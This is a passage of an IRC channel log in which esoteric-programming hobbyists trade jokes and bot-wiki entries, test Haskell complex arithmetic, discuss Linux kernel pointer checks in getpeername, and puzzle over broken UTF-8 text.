seconds). 18:21:23 <\oren\> Apparently ROFL is obsolete, superseded by ROLF 18:21:56 Rolling on the laughing floor? 18:27:45 <\oren\> I think they changed the order so you can pronounce it in one syllable 18:29:11 rolling on, laughing furiously 18:30:20 Red, Orange, Lleyow, Flue 18:30:25 Colours of the rainbow 18:31:39 but without color codes? 18:31:55 uh oh, Taneb's tanebventing again 18:32:16 Nah, I'm on holiday 18:33:43 but still venting 18:34:29 `? nitia 18:34:33 nitia is the inventor of all things. The BBC invented her. 18:34:40 `? bbc 18:34:42 The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets and tiny elfs. Taneb invented it. 18:35:07 <\oren\> `? breadbox 18:35:08 breadbox? ¯\(°​_o)/¯ 18:35:10 `? invention 18:35:11 invention? ¯\(°​_o)/¯ 18:35:27 <\oren\> `? kernel 18:35:28 kernel? ¯\(°​_o)/¯ 18:35:36 <\oren\> `wisdom 18:35:38 blank// 18:35:42 <\oren\> `wisdom 18:35:43 fnord//? ¯\(°​_o)/¯ 18:35:50 <\oren\> `wisdom 18:35:52 phantom_______hoover//It doesn't get any better than this. 18:36:00 <\oren\> `wisdom 18:36:04 certainly//We don't know what certainly is for sure, but at least it isn't a functor. 18:36:11 <\oren\> `wisdom 18:36:12 russia//Russia is a country so huge it manages to be so near to both Finland and Japan. It used to be part of the Soviet Union before Ronald Reagan destroyed it. 18:36:29 <\oren\> `wisdom 18:36:31 persistence//Taneb invented persistence long ago, and it's been around ever since. 18:36:36 <\oren\> `wisdom 18:36:37 fentimans//fentimans is a delicious beverage out from Hexham, that can be paired with a fresh fternooner for a nutritive midday snack. 18:37:30 `? japan 18:37:32 Japan is so far from Finland. However, like Finland, it is so near to Russia, and quite a long way from Cairo. It's many fewer miles from Vietnam than Finland is. 18:38:12 <\oren\> `? finland 18:38:14 Finland is a European country. There are two people in Finland, and at least nine of them are in this channel. Corun drives the bus. 18:38:27 <\oren\> `? canada 18:38:29 Canada is Big Scotland. Like, you know, very big. 18:38:53 <\oren\> I still think Canada should join the EU 18:39:13 I think Australia should join the EU. 18:39:15 Scotland should leave the UK and join the EU. 18:39:19 With Eurovision, they're already halfway there. 18:39:41 fizzie, if the UK stays in, Australia joins, and I do my backup plan anyway... 18:39:45 I'll be three EU citizens 18:39:49 <\oren\> Maybe after Brexit they'll let us join as a more polite version of Britain 18:40:14 only if you get rid of Quebec 18:40:23 One France is enough for the EU. 18:40:34 int-e, Wallonia? 18:41:00 <\oren\> Quebec might separate after being inspired by Britain 18:41:05 <\oren\> or Scotland 18:44:46 <\oren\> Or maybe I'll start a revolution to make Toronto an independent City-state 18:45:10 <\oren\> the rest of ontario would heartily support us 18:45:23 -!- Koen__ has quit (Remote host closed the connection). 18:59:23 \oren\: eh what? 19:00:25 \oren\, I believe there is a similar campaign for London, England 19:01:16 oerjan: was it truncated like that or something? 19:02:29 \oren\: anyway, http://www.orenwatson.be/verne.htm has a bug: in the cyphered part, top row middle block " ᛅᛋᛣᚢᛅᛚ " is wrong, iw should be " ᛅᛋᛣᛅᚢᛅᛚ " so that the E of "descende" is included; 19:04:39 \oren\: that letter is present in the book 19:06:46 <\oren\> Fixed 19:08:53 \oren\: it's still missing in the latin transcription of the cyphered block on http://www.orenwatson.be/verne.htm 19:09:53 <\oren\> fixed that 19:13:43 \oren\: good. I also suggest that you include the French translation form the novel 19:13:52 for completeness 19:17:02 -!- augur has joined. 19:19:14 -!- Koen_ has joined. 19:20:46 <\oren\> ok. 19:32:05 `? taneb 19:32:08 Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and above average, not too voluminous, but calm eyebrows. (See also: tanebventions) 19:32:37 > 8**(1/3) 19:32:39 2.0 19:47:10 <\oren\> > e**(pi*i) 19:47:12 e**(pi * i) 19:47:22 <\oren\> boo 19:48:13 <\oren\> > math::e**(math::pi*math::i) 19:48:14 :1:24: parse error on input ‘::’ 19:48:19 <\oren\> argh 19:49:39 <\oren\> > Fractional.e(Fractional.pi) 19:49:41 Not in scope: ‘Fractional.e’Not in scope: ‘Fractional.pi’ 19:50:40 <\oren\> > pi 19:50:42 3.141592653589793 19:50:45 <\oren\> > e 19:50:46 e 19:50:55 <\oren\> > exp(pi) 19:50:57 23.140692632779267 19:51:01 <\oren\> > exp(pi*i) 19:51:03 exp (pi * i) 19:51:47 <\oren\> > exp(pi*(0:+1)) 19:51:49 (-1.0) :+ 1.2246467991473532e-16 19:51:57 -!- S1 has joined. 19:52:05 <\oren\> Uh... 19:52:54 <\oren\> > exp(1)**(pi*(0:+1)) 19:52:55 (-1.0) :+ 1.2246467991473532e-16 19:53:35 <\oren\> > exp(1)**pi**(0:+1)) 19:53:36 :1:19: parse error on input ‘)’ 19:53:38 <\oren\> > exp(1)**pi**(0:+1) 19:53:39 0.9271380752254357 :+ 1.1941162626914863 19:54:06 <\oren\> > (exp(1)**pi)**(0:+1) 19:54:08 (-1.0) :+ 1.2246467991473532e-16 19:54:12 <\oren\> ARGH 19:54:58 <\oren\> ever heard of precedence rules Haskell!?!?@? 19:55:34 What's the issue? 19:55:45 ** is infixr, so a**b**c = a**(b**c) 19:55:48 Which is what you want. 19:56:15 also function application is written "f x", not "f(x)" hth 19:56:24 <\oren\> It's not doing euler right 19:57:09 <\oren\> > (exp 1)**(pi*(0:+1)) 19:57:11 (-1.0) :+ 1.2246467991473532e-16 19:57:19 That looks right to me. 19:57:20 -!- impomatic has joined. 19:57:36 <\oren\> also it doesn't have i or e as constants 19:57:47 -!- spiette has quit (Ping timeout: 260 seconds). 19:58:00 It has exp, which is what you're doing anyway. 19:58:35 > exp (pi * (0 :+ 1)) :: Complex CReal 19:58:36 (-1.0) :+ 0.0 19:58:55 shachaf: do you mean exp (0 :+ pi) 19:58:57 <\oren\> WAT 19:59:26 b_jonas: that works too 19:59:42 i was just copying \'s expression from above hth 19:59:46 <\oren\> Was it doesng integers not reals by default or something? 20:00:17 <\oren\> > (exp (0:+pi)) 20:00:18 (-1.0) :+ 1.2246467991473532e-16 20:00:36 <\oren\> > exp(0:+pi) :: Real 20:00:38 Expecting one more argument to ‘Real’ 20:00:38 Expected a type, but ‘Real’ has kind ‘* -> Constraint’ 20:00:38 In an expression type signature: Real 20:00:43 <\oren\> > exp(0:+pi) :: CReal 20:00:44 Couldn't match expected type ‘CReal’ 20:00:45 with actual type ‘Complex Double’ 20:00:45 In the first argument of ‘exp’, namely ‘(0 :+ pi)’ 20:00:54 <\oren\> > exp(0:+pi) :: Complex 20:00:56 Expecting one more argument to ‘Complex’ 20:00:56 Expected a type, but ‘Complex’ has kind ‘* -> *’ 20:00:56 In an expression type signature: Complex 20:01:08 <\oren\> > exp(0:+pi) :: Complex Double 20:01:09 (-1.0) :+ 1.2246467991473532e-16 20:01:15 <\oren\> > exp(0:+pi) :: Complex CReal 20:01:17 (-1.0) :+ 0.0 20:01:32 It was using floating point values by default. 20:01:54 <\oren\> What is a Creal? 20:02:03 <\oren\> @hoogle CReal 20:02:05 No results found 20:02:12 <\oren\> WAT 20:02:59 `? CReal 20:03:05 CReal? ¯\(°​_o)/¯ 20:03:09 @kind CReal 20:03:11 * 20:04:02 i need help with a linux thingy 20:04:38 http://lxr.free-electrons.com/source/net/socket.c#L1584 this is the getpeername() syscall 20:05:09 it calls move_addr_to_user() 20:05:14 which is here http://lxr.free-electrons.com/source/net/socket.c#L216 20:06:03 -!- jaboja has joined. 20:06:12 move_addr_to_user checks if it can write to the sockaddr* and returns -EFAULT if it can't 20:06:42 but it doesn't check if it can write to the socklen_t* argument in getpeername() 20:07:05 it's in line 240: return __put_user(klen, ulen); 20:07:29 <\oren\> #define fasle false 20:07:41 what's that 20:08:21 i tried to test if this can write outside my address space, but i can't 20:08:32 and it's probably my test that's not working 20:08:44 izabera: doesn't the __put_user macro check that? 20:08:46 or function 20:08:50 whichever 20:08:51 nope 20:09:15 click on it and you can see its definition 20:09:28 izabera: how about the get_user function in line 223 then? 20:10:34 -!- spiette has joined. 20:10:40 that's getting the value 20:11:10 oh i see what you mean 20:11:16 izabera: right, but it gets the value from user space, so the field is already known to be at least readable 20:11:33 the get_user ensures it's in user-space 20:12:17 izabera: and __put_user ensures it's writable 20:12:21 together the two should be enough 20:23:34 -!- jaboja has quit (Ping timeout: 244 seconds). 20:32:41 i've been looking at get_user for a while and i don't see where it checks if it can access that 21:09:34 izabera: it has to check that the address is in user space, not kernel space, which is just a single comparison with a very fixed address (the linear address space is partitioned that way on Linux), then after that, it has to check if the address is readable _for the kernel_. 21:11:49 it never checks if it's in that process' address space 21:12:06 correct? 21:12:07 izabera: there's only one process mapped at a time, even in kernel mode 21:12:13 it doesn't have to check which process 21:12:17 ok 21:13:14 so what happens if i pass an address that's in userspace but not where i can write? 21:14:00 izabera: then the read will succeed, but the write will fail, and so the syscall will give you an EFAULT 21:15:11 izabera: both for the read and write, after checking if it's in the user half of the address space, the kernel normally has to just attempt the memory read or write, and it will get a fault if it fails, which fault it might handle (eg. by loading from a swap device) or it might be a hard error, in the latter case the syscall will give EFAULT. 21:15:20 -!- jaboja has joined. 21:16:11 oh it is returning efault now 21:16:26 i don't know what i did before but it returned 0 21:22:06 A man was at the railway station shouting how many minutes until the polls close. They're certainly very enthusiastic. 21:24:40 fizzie: yes, only 35 minutes now, so be quick and vote, everyone! 21:27:31 -!- JX7P has quit (*.net *.split). 21:27:31 -!- atehwa has quit (*.net *.split). 21:27:32 -!- catern has quit (*.net *.split). 21:27:32 -!- rodgort has quit (*.net *.split). 21:27:32 -!- shikhin has quit (*.net *.split). 21:27:32 -!- staffehn has quit (*.net *.split). 21:27:32 -!- Lymia has quit (*.net *.split). 21:27:32 -!- carado has quit (*.net *.split). 21:27:32 -!- quintopia has quit (*.net *.split). 21:27:41 -!- quintopia has joined. 21:27:43 -!- shikhin has joined. 21:28:08 -!- IRIXUser has joined. 21:28:14 -!- rodgort has joined. 21:28:31 -!- IRIXUser has changed nick to Guest78438. 21:29:09 -!- staffehn has joined. 21:29:31 -!- carado has joined. 21:30:10 -!- Lymia has joined. 21:30:32 -!- incomprehensibly has quit (Ping timeout: 258 seconds). 21:30:45 -!- catern has joined. 21:31:41 -!- ocharles has quit (Ping timeout: 258 seconds). 21:33:41 -!- atehwa has joined. 21:39:39 -!- ocharles has joined. 21:41:02 <\oren\> 18 minutes left?!?@? 21:42:26 <\oren\> Oh Boris is at the polling station 21:42:45 Did he take one of his bikes to get there? 21:43:12 <\oren\> I dunno, he was with some woman 21:45:18 Do they have tandem Boris bikes? I guess not. 21:45:36 "Mayor of London under fire for £500 tandem Boris Bike royal wedding gift" 21:45:40 I stand corrected. 21:46:11 -!- incomprehensibly has joined. 21:46:40 ^celebrate 21:46:40 \o| c.c \o/ ಠ_ಠ \m/ \m/ \o_ c.c _o/ \m/ \m/ ಠ_ಠ \o/ c.c |o/ 21:47:28 This is less of a celebration without the other rows. 21:48:59 <\oren\> wat happen to the bot that added legs? 21:49:26 myndzi isn't a bot 21:49:31 `? myndzi 21:49:56 myndzi used to keep us all on our feet. 21:50:02 hah 21:50:08 `culprits wisdom/myndzi 21:50:09 -!- adu has joined. 21:50:25 oerjan oerjan oerjan elliott Bike FreeFull oerjan 21:50:48 <\oren\> shachaf: WAT 21:52:26 <\oren\> so he was simply a person with a custom script in his irc client? 21:53:19 Who isn't ;-) 21:55:06 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 21:56:42 <\oren\> The bots are a lie! 21:57:03 fungot, are you a bot 21:57:03 Taneb: i just found that you can actually have a process started 21:57:29 fungot is semisentient too 21:57:29 int-e: question is, what are the puzzles? i'm not sure how 21:57:39 eerily so, sometimes 21:57:45 int-e: you should add me to the lambdabot admin list twh 21:57:48 -!- Guest78438 has quit (Changing host). 21:57:48 -!- Guest78438 has joined. 21:57:51 -!- Guest78438 has changed nick to JX7P. 22:09:31 <\oren\> `relcome JX7P 22:09:36 ​JX7P: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 22:16:37 -!- S1 has quit (Quit: S1). 22:23:20 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:25:08 -!- `^_^v has joined. 22:26:00 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:26:04 -!- adu has quit (Quit: adu). 22:49:25 -!- `^_^v has quit (Quit: This computer has gone to sleep). 23:18:52 fungot, you're back! 23:18:53 b_jonas: r5rs gives some guidelines as to what a child with down syndrome could understand. i'm interested about it fnord ahead :) negative array indexes and computed gotos 23:19:10 computed come froms are better 23:19:13 `? come from 23:19:15 come from? ¯\(°​_o)/¯ 23:29:58 -!- bradcomp has quit (Quit: Page closed). 23:33:52 -!- jaboja has quit (Ping timeout: 272 seconds). 23:34:40 -!- boily has joined. 23:45:06 -!- oerjan has joined. 23:45:09 -!- jaboja has joined. 23:45:54 -!- asie has quit (Ping timeout: 272 seconds). 23:46:31 fungot: nostril. 23:46:31 boily: and this is not a primitive name in: atom?? gdbm-ci? null? list)... 23:46:38 @massages-loud 23:46:38 quintopia said 7h 11m 41s ago: the USPS website doesn't like your city or province to be spelled correctly. (maybe their system just can't represent "é") 23:46:38 Taneb said 7h 4m 11s ago: if the UK leaves I have a backup plan 23:47:02 @tell quintopia Montreal and Quebec are perfectly fine hth 23:47:02 Consider it noted. 23:47:48 @ask Taneb so you're moving to Canada? 23:47:48 Consider it noted. 23:48:02 @tell boily No, the Netherlands 23:48:02 Consider it noted. 23:49:11 -!- asie has joined. 23:50:16 Tanelle. that's not Canada hth 23:50:19 yá'át'ééhoily 23:50:34 navajo? 23:51:05 ma'loerjan ak'ab 23:52:21 boily, I'm almost eligible for Dutch nationality 23:52:44 And I don't want to go from University of York to York University 23:53:10 Dutch Nationality Exam: [ ] Do you speak Dutch [ ] Can you bike [ ] Black licorice tastes good 23:54:24 "ngevd" is dutch for "taneb", right? 23:55:03 Taneb: I thought you were going to move to the United States. 23:55:34 So you could buy some health insurance. 23:55:50 shachaf, I think I already have health insurance 23:56:04 boily, No, Sort of, In Moderation 23:56:55 Taneb: You probably didn't pay enough for it, though. 23:56:58 You get what you pay for. 23:59:00 boily: maya (grmbl, you almost got me there) 2016-06-24: 00:01:42 i have a backup plan but i can't put it into action for another two weeks 00:01:58 which is a problem because by then everyone will be doing the same and the passport offices will be swamped 00:02:10 Phantom_Hoover, you have Irish family, right? 00:02:33 i am literally the only non-irish person in my family 00:03:13 A family of vacuum cleaners? 00:03:37 Dutch Nationality Exam: [ ] Do you speak Dutch [ ] Can you bike [ ] Black licorice tastes good <-- ooh, i've got two of three! 00:03:56 oerjan: You speak Dutch? 00:04:01 Phantom Hoover, son of Ghost Hoover, son of Spirit Hoover. 00:04:13 Since one of those three is an objective fact, which is objectively false. 00:05:23 shachaf: that's the missing one hth 00:06:22 as a finishing touch, god created Taneb 00:06:26 invented 00:06:27 -!- jaboja has quit (Ping timeout: 264 seconds). 00:06:28 nitia 00:06:52 Nitia is God? 00:08:57 `? tanebvention 00:09:09 Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, Tanebventions, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex. 00:09:23 -!- moon__ has joined. 00:09:49 `? tanebventions: math 00:09:54 Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms. 00:10:34 <\oren\> mhelloon! 00:10:35 `le/rn curry's paradox/If this sentence is true, then Taneb invented Curry's paradox. 00:10:43 Learned «curry's paradox» 00:10:50 my virtualbox is apparently missing 00:10:54 tanebventions were split? 00:11:01 he\\oren\, mhelloon__! 00:11:21 and the installer wont work, so im running malware bytes 00:11:41 i *think* i might have malware 00:13:00 -!- myndzi\ has joined. 00:13:08 * boily pokes moon__ in the direction of a linux distro 00:13:12 * boily *poke poke poke* 00:13:25 <\oren\> I know I have malware, on the basis that I wrote many bad programs 00:13:53 Boily, thats WHY i have virtualbox 00:14:02 because i cant install on this laptop 00:14:07 Phantom_Hoover> i have a backup plan but i can't put it into action for another two weeks <-- iirc wasn't there supposed to be something like 2 years before the ties get broken for real? 00:15:15 `? cis 00:15:16 The CIs are a secret society led by David Morgan-Mar, bent on conquering the world from Sydney with web comics and unsolvable puzzles. They invented Taneb. 00:15:17 * moon__ eats whatever broke his virtualbox 00:15:37 oerjan, sure but there'd be a run on EU passports as soon as a brexit result came in 00:16:06 Nothing so far 00:16:11 tanebventions were split? <-- it was inevitable. 00:16:12 <\oren\> moon__: why can't you? no CD drive? 00:16:12 hopefully i get a perfect 0 00:16:26 Yea, my diskdrive decided to fall out (= 00:16:28 *)= 00:16:30 oerjan: itym inevitaneble hth 00:16:57 `wisdom boily 00:17:01 boily//"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist. 00:17:12 Phantom_Hoover: well as long as they don't run out permanently... 00:17:24 `? boily 00:17:31 boily has the best one lol 00:17:31 ​"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist. 00:17:50 moon__: note that "trigotillectomic" uniquely identifies me in google searches :D 00:18:22 time to add 'overmoonification' to all my profiles lol 00:18:59 -!- jaboja has joined. 00:19:12 how do i append to wisdom entrys? 00:19:40 with `learn_append 00:19:53 -!- Phantom_Hoover has quit (Quit: Leaving). 00:20:11 if the key is a single word 00:20:43 `learn_append moon . He sometimes causes overmoonification 00:20:48 Learned 'moon': Moon is a murderous lunatic, not an unretroreflectorey object. . He sometimes causes overmoonification 00:20:50 oh no 00:20:56 oerjan: it's ok, you're retired 00:21:06 `revert 00:21:23 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 00:21:27 moon__: your `learn_append privileges are revoked hth 00:21:34 )= 00:21:46 `? oerjan 00:21:57 Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 00:22:14 * moon__ eats learn_append 00:22:30 (1) you cannot append punctuation to what's already there (2) because of 1, you must have punctuation at the end of what you add 00:23:10 i will fix it lol 00:23:18 `learn_append moon He sometimes causes overmoonification. 00:23:22 Learned 'moon': Moon is a murderous lunatic, not an unretroreflectorey object. He sometimes causes overmoonification. 00:25:24 @tell hppavilion[1] Are there any problems that are /literally/ unsolvable on CCs but not on QCs? <-- no hth 00:25:24 Consider it noted. 00:27:42 what does hth even mean? 00:27:54 `? hth 00:27:57 hth is help received from a hairy toe. It is not at all hambiguitous. 00:28:17 lol 00:28:24 hizzie 00:28:52 Hairy Toe Hambiguitous 00:29:16 Makes (no) sense 00:30:15 Time to get a aflac ad on a page about a phobia about having a duck watching you 00:32:47 a Duck is Always Watching You. it Guards You from Evil. Fungot Knows. 00:33:45 I don't know, ducks have always seemed a bit suspicious to me. Like they're plotting something. 00:33:56 http://www.mezzacotta.net/garfield/?comic=2590 00:34:00 argh 00:34:08 wrong link 00:34:18 http://25.media.tumblr.com/tumblr_m90zefhKFP1rbs5emo1_500.gif 00:35:09 (if you're old enough, you can probably guess what it is) 00:35:23 (of course, only i am that old) 00:36:30 (this is the original btw. i see it has been memeified.) 00:36:56 the phobia about long words... is a long word: hippopotomonstrosesquippedaliophobia 00:37:05 idk if i even spelled it right 00:38:09 sounds like someone made that one up on purpose 00:38:17 moon__: of course almost half of that is fake 00:38:21 yea, i copyed that 00:38:24 i didnt know 00:38:51 * moon__ notes the fact 'your guillible' is written on the ceiling 00:39:01 the part from sesqui on is more reasonable. but still mixing latin and greek ugh 00:39:47 oh, its from a comic 00:39:49 `learn A guillible person is someone who can be fooled with a Scheme script. 00:39:56 Learned 'guillible': A guillible person is someone who can be fooled with a Scheme script. 00:39:57 -!- adu has joined. 00:41:26 . o O ( what's the longest word that hasn't been invented just to be long ) 00:43:11 . o O ( I want to point out to oerjan that its the name of a protein ) 00:43:46 I just set up a policy neural network to play tictactoe against itself and train on the moves they played in games they won 00:44:09 now I can take bets on the number of games needed for the network to become good 00:45:10 lol 00:45:55 next up: train a neural network to make bets and win them 00:46:15 * oerjan is doubtful 00:46:36 oh 00:46:42 misread 00:46:52 yeah probably 00:47:15 by name i mean the moleculear (or is it chemical) name 00:47:35 IUPAC 00:48:48 https://en.wiktionary.org/wiki/Appendix:List_of_protologisms/Long_words/Titin 00:50:20 P̸̱͕͕̮̜̹̮̜͍͉͝ͅU̵͏҉̴͈̖͓͔̹̼̞̬̳̬͔͖͓͇͔D̢͓̭͈̀̀̀͝D̶͓̲͉̜͉̣̲̝͉̤͍̥͙̞͇̮̠͔͝Ì̡̡̲͉̥̩̘͟Ṉ̢̺͈̟̳̳͙͈͔̰̺̼̲̝͚͉̙̗̲͟G͎͓̥̼̰͎̝̫͕̪̺̥͎͎͇̱͎̕͘ ̶̛̲͍͙͇̦͇̯̰̫̹̱͞P̶҉͡҉͚͓̫̹̮͍̘Ǫ̶̶̭͔̰̩̺̯̮̣͓̼̟̯͡P̨͉̭̪̗̼͖̮͉͕̮͖ͅͅS̴͟͜҉̨̖̟͖͈͇̪̲͇͚̱̱͍̭̳͎͙.̴̛͙͞͞ 00:50:26 ̞̞̩̩̬͖͓ ̡̩͍̪̙͝͡Ţ̢� <-- ... 00:50:29 ... the garfield is strong in this one. 00:50:41 nuu 00:50:47 not hangdown characters 00:51:06 my irc client doesn't know how to react to this 00:51:36 lol 00:53:47 garfield? hangdown? 00:54:08 wait... 00:54:18 -!- MoALTz has quit (Quit: Leaving). 00:55:15 *Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì©Ì 00:55:22 moon__: it's appropriate. also i think e was alluding to http://www.mezzacotta.net/garfield/?comic=1928 00:56:09 although there are other more direct zalgo references 00:56:10 Oh, THAT comic, i kinda enjoy that one 00:56:37 Enjoy the line 00:57:32 moon__: btw your fancy line above is not correct utf-8, so it shows up as ...Ì©Ì©Ì©Ì©Ì©... for me. 00:57:42 )= 00:57:48 but its valid unicode :P 00:58:01 i think a byte got cut off 00:58:22 that it is, it's too long, and a utf-8 char got cut in the middle. 00:58:23 oh 00:58:25 is this an accentuated capital i followed by a copyright sign, over and over again? 00:58:27 l̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞̞v 00:58:34 Nope 00:58:37 its ment to be a line 00:59:00 okay, I'm switching back to latin-1 then 00:59:28 unless you are talking about oerjan's post 00:59:29 Koen_: it's meant to be utf-8, but the line contains one broken char 01:00:09 -!- adu has quit (Quit: adu). 01:00:18 *ÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌžÌ 01:00:27 moon__: same problem. 01:00:29 now it's just the accentuated I 01:00:35 and a star at the beginning 01:00:59 `len Ìž 01:01:03 2 codepoints \ 4 UTF-8 bytes 01:01:30 `ord Ìž 01:01:31 204 382 01:01:56 hm that's not even latin-1 01:02:35 it looks like you converted it to a different charset, and then encoded that as utf-8 01:03:25 `perl -eprint "o".pack"V*",(2915861196)x29 01:03:27 ô̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂ 01:03:37 `perl -eprint "o".pack"V*",(2915861196)x79 01:03:38 ô̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̭̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂̂ 01:04:10 -!- hppavilion[1] has joined. 01:04:51 my stuff is rendering wrong? 01:04:56 -!- adu has joined. 01:05:10 hadu 01:08:13 @tell Etaoin always thought it was a neat similarity <-- it's not just a similarity, in fact sin(x) = (e^(ix) - e^(-ix))/(2i) and then it becomes the _exact_ same thing. 01:08:13 Consider it noted. 01:10:38 lol 01:11:00 <\oren\> ARGH 01:11:06 `unidecode ž 01:11:09 <\oren\> all my spaceplanes explode 01:11:15 U+009E \ UTF-8: c2 9e UTF-16BE: 009e Decimal: ž \ ž \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) 01:11:30 <\oren\> mostly on the runway 01:11:32 moon__: my client and many others have a fallback where if a line is not entirely correct utf-8, it gets interpreted as latin-1 (or rather the windows superset) instead. 01:11:36 `unidecode Ì 01:11:40 ​[U+00CC LATIN CAPITAL LETTER I WITH GRAVE] 01:11:53 `unicode U+9ECC U+CC9E 01:11:56 No output. 01:12:10 * tswett raises an eyebrow. 01:12:13 (well, it's an optional setting, that i was recommended back when i got utf-8 working in it) 01:12:13 `unicode U+9ECC 01:12:14 ​黌 01:12:20 `unicode U+CC9E 01:12:22 ​첞 01:12:31 I like the second one better. 01:13:16 um, the first one looks like a kanji, the second one looks like a hangul 01:13:25 `unidecode 첞 01:13:27 ​[U+CC9E HANGUL SYLLABLE CEONH] 01:13:36 So it is. 01:15:17 0xCC 0x9E is valid UTF-8 for something, right? 01:16:02 > printf "%08b %08b" 0xcc 0x9e :: String 01:16:03 Those bytes are 11001100 10011110, which binarizes as 1100011110, or 31E? 01:16:04 "11001100 10011110" 01:16:12 `unicode U+031E 01:16:12 `perl -euse List::Util"max"; print join" ",map{pack "U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7; 01:16:17 ​̞ 01:16:22 Wide character in print at -e line 1. \ 쑝꠺鸥煾긴홊뒂숙 ⥸豙嚌�蘺囑⠥軁㫸㐯씁 콪貟ᓇ謆進難Ἂ臍﨏ᅶ៱ 岍诺鵙⼠Ṹ䐃�䑈 꼍䗹婊޴䆷쀙᧰ ᡥ晎죋怒쓔渫팦 │㊒뜄倓ḛ뽽�⎳旬鹁 濋⾯餦㘥랬뎻 01:16:33 tswett: Yep, totally legal UTF-8. 01:16:47 > "1100011110" ^? binary 01:16:48 Just 798 01:17:16 > text $ "1100011110" ^.. binary . to chr 